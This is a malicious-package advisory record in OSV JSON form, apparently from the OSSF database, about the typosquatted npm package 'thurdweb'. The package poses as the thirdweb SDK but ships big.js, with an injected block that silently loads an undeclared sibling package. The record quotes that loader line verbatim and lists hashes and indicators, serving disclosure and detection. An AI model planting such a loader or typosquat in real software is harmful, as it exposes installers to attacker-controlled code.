{"id":"MAL-2026-6345","summary":"Malicious code in thurdweb (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (775ff15f4a1314978d4cfed1e97c6c9ac8621d8ddeed93160c25aa3681f73cc7)\nPackage name `thurdweb` is a one-character substitution of the popular web3 SDK `thirdweb`, but the shipped source is a copy of MikeMcl/big.js (arbitrary-precision decimal arithmetic) — the public API has no relation to the impersonated target. The library file (`big.js` / `big.mjs` lines 605-608) contains an injected top-level block that fires on `require('thurdweb')` / `import 'thurdweb'`: `try { const doc = require(\"parket-slot\"); doc.from_str().then(e =\u003e { }).catch(e =\u003e { }) } catch (error) { }`. `parket-slot` is not declared in `package.json` `dependencies`, and the entire call is wrapped in an empty try/catch that silently swallows every error. `package.json` additionally declares `log-taker@^0.0.9` as a runtime dependency, which is unrelated to decimal arithmetic and shares the same nondescriptive shape. Any installer who imports this package transitively loads attacker-controlled code from sibling packages whose contents the publisher controls and can mutate independently of this tarball; the silent error handler hides failure from the consumer.\n","modified":"2026-06-23T21:01:22.298416634Z","published":"2026-06-23T20:01:24Z","database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-007355","import_time":"2026-06-23T20:48:30.624621754Z","modified_time":"2026-06-23T20:01:24Z","sha256":"775ff15f4a1314978d4cfed1e97c6c9ac8621d8ddeed93160c25aa3681f73cc7","source":"amazon-inspector","versions":["0.0.8"]}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/thurdweb/v/0.0.8"}],"affected":[{"package":{"name":"thurdweb","ecosystem":"npm","purl":"pkg:npm/thurdweb"},"versions":["0.0.8"],"database_specific":{"indicators":{"evidence_files":[{"tlsh":"49213463c9a59da70af85ba47c6c03aef1151b1f00a04c17b07b130c4b3345b2096b7d","path":"package.json","sha256":"ce862263c2537fca74d04d75dbbecc350838fa487eedc52dc37db8230ace12e5"},{"path":"big.js","sha256":"5b803b2bbd43db704b5802fa5bf4da96e79c3b876d74495116b53a837101dace","tlsh":"24c2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc"}],"package_integrity":[{"filename":"thurdweb-0.0.8.tgz","hashes":{"sha1":"69826b6cf68f13f72b6e854feed6826a9aebae76","sha512_sri":"sha512-S9HqYAPXijeGGJojs455lss+bGNrPoLIr8YNawwjPd21odTQ89bM207ZwZksM5elEynZ9RpTVglKaqg6cMfWIA=="}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/thurdweb/MAL-2026-6345.json","cwes":[{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."}]}}],"schema_version":"1.7.5","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}